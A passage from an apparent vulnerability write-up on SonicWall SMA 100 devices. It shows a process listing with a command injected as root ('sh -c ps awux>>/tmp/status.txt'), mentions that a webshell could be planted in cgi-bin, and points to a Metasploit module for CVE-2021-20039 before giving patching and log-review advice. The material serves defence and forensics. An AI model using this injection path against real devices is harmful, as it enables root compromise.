30382 0.0 0.2 25700 11904 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30391 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30392 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30394 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30395 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30396 0.0 0.2 25700 11908 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd nobody 30397 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd root 30465 2.0 0.1 13776 4612 ? S 10:21 0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics root 30599 0.0 0.0 3480 1420 ? S 10:21 0:00 sh -c ps awux>>/tmp/status.txt 2>&1 root 30600 0.0 0.0 2556 880 ? R 10:21 0:00 ps awux
Finally, it’s important to note that the root
user has write access to the web server’s cgi-bin directory (/usr/src/EasyAccess/www/cgi-bin/
) which could allow them to upload a webshell to the system. As noted earlier, escalation to root via the nobody
user is quite trivial. As such, reviewing the http_request.log
for potential access to a webshell could be beneficial. However, modifications to cgi-bin
will not persist between reboots (although whether a rebooted system is trust-worthy after exploitation is another matter).
We’ve published a Metasploit module for CVE-2021-20039 (authenticated command injection as root
) that could allow for deeper forensic analysis. Although, it’s likely wise to consider what type of forensic effect you are having on a system by exploiting it yourself.
Guidance
Apply the patches provided by SonicWall. If possible, limit the exposure of the device to known good entities and enable a WAF that would prevent any type of address guessing attacks. Regularly review the system’s logs for potential exploitation. When possible, apply SonicWall’s guidance for SMA 100 series best security practices.
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: